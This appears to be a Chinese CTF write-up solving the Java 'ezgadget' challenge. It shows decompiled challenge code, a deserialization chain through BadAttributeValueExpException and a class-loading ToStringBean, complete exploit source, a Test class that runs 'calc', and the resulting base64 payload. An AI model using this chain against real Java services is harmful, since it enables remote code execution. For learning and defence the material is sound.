ezgadget

CTF
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ezgadget

找个题练一下学的Java

image-20241028000341223

User

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//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ezgame.ctf.bean;

import java.io.Serializable;

public class User implements Serializable {
    private String UserName;
    private String PassWord;

    public User() {
    }

    public String getUserName() {
        return this.UserName;
    }

    public void setUserName(String userName) {
        this.UserName = userName;
    }

    public String getPassWord() {
        return this.PassWord;
    }

    public void setPassWord(String passWord) {
        this.PassWord = passWord;
    }

    public String toString() {
        return "User{UserName='" + this.UserName + '\'' + ", PassWord='" + this.PassWord + '\'' + '}';
    }
}

IndexController

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//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ezgame.ctf.controller;

import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    public IndexController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public String index(HttpServletRequest request, HttpServletResponse response) {
        return "index";
    }

    @ResponseBody
    @RequestMapping({"/readobject"})
    public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021) {
            objectInputStream.readObject();
        }

        return "welcome bro.";
    }
}

Tools

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//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ezgame.ctf.tools;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Tools {
    public Tools() {
    }

    public static byte[] base64Decode(String base64) {
        Base64.Decoder decoder = Base64.getDecoder();
        return decoder.decode(base64);
    }

    public static String base64Encode(byte[] bytes) {
        Base64.Encoder encoder = Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }

    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

ToStringBean

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//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ezgame.ctf.tools;

import java.io.Serializable;

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public ToStringBean() {
    }

    public String toString() {
        ToStringBean toStringBean = new ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object Obj = null;

        try {
            Obj = clazz.newInstance();
        } catch (InstantiationException var5) {
            var5.printStackTrace();
        } catch (IllegalAccessException var6) {
            var6.printStackTrace();
        }

        return "enjoy it.";
    }
}

可能有用的四个部分的代码

简要分析一下

IndexController中有个readobject路由，接受data参数

反序列化的时候先读String类型的再读Int，做次比较

再进行readobject

image-20241028000636473

直接这样即可

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ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeUTF("gadgets");
oos.writeInt(2021);

在看到ToStringBean类，就明显了，打类加载

image-20241028000913520

由于构造函数没有东西，ClassByte需要利用反射来修改，值为恶意字节码

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ToStringBean toStringBean = new ToStringBean();
byte[] bytes = Files.readAllBytes(Paths.get("E:\\java_project\\CC1Test\\target\\classes\\Test.class"));
Class c = toStringBean.getClass();
Field field = c.getDeclaredField("ClassByte");
field.setAccessible(true);
field.set(toStringBean,bytes);

我的Test类

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//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() {
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}

编译完成后直接用就行

这道题我们需要去触发ToStringBean的toString函数

利用CC5链中

BadAttributeValueExpException类

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/*
 * Copyright (c) 1999, 2013, Oracle and/or its affiliates. All rights reserved.
 * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 */

package javax.management;

import java.io.IOException;
import java.io.ObjectInputStream;


/**
 * Thrown when an invalid MBean attribute is passed to a query
 * constructing method.  This exception is used internally by JMX
 * during the evaluation of a query.  User code does not usually
 * see it.
 *
 * @since 1.5
 */
public class BadAttributeValueExpException extends Exception   {


    /* Serial version */
    private static final long serialVersionUID = -3105272988410493376L;

    /**
     * @serial A string representation of the attribute that originated this exception.
     * for example, the string value can be the return of {@code attribute.toString()}
     */
    private Object val;

    /**
     * Constructs a BadAttributeValueExpException using the specified Object to
     * create the toString() value.
     *
     * @param val the inappropriate value.
     */
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }


    /**
     * Returns the string representing the object.
     */
    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

在反序列化的时候会调用toString函数

image-20241028001418755

其构造函数会提前执行toString方法，所以可以利用反射来修改val的值

image-20241028001446430

部分exp代码

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BadAttributeValueExpException bad = new BadAttributeValueExpException(1);

Class c2 = bad.getClass();
Field field2 = c2.getDeclaredField("val");
field2.setAccessible(true);
field2.set(bad,toStringBean);

汇总一下，再对输出结果进行base64编码即可

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import com.ezgame.ctf.tools.ToStringBean;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class ctf {
    public static void main(String[] args) throws Exception{

        ToStringBean toStringBean = new ToStringBean();
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\java_project\\CC1Test\\target\\classes\\Test.class"));


        Class c = toStringBean.getClass();
        Field field = c.getDeclaredField("ClassByte");
        field.setAccessible(true);
        field.set(toStringBean,bytes);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(1);

        Class c2 = bad.getClass();
        Field field2 = c2.getDeclaredField("val");
        field2.setAccessible(true);
        field2.set(bad,toStringBean);

        ByteArrayOutputStream data =new ByteArrayOutputStream();
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeUTF("gadgets");
        oos.writeInt(2021);
        oos.writeObject(bad);
        oos.flush();
        oos.close();

        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));

    }
}

得到payload

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rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAGHQAA2N0ZnQACGN0Zi5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAIWNvbS5lemdhbWUuY3RmLnRvb2xzLlRvU3RyaW5nQmVhbhPMVFon2dx5AgABWwAJQ2xhc3NCeXRldAACW0J4cHVyAAJbQqzzF/gGCFTgAgAAeHAAAAXXyv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAR2YXIxAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQAEVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAADMAAQABAAAABSq3AAGxAAAAAgAMAAAACgACAAAADwAEABAADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABUADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAAHgAJACEADAAfAA0AIAARACIADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw==

不过需要进行url编码，否则可能会报错，建议post传

image-20241028001720403

结束

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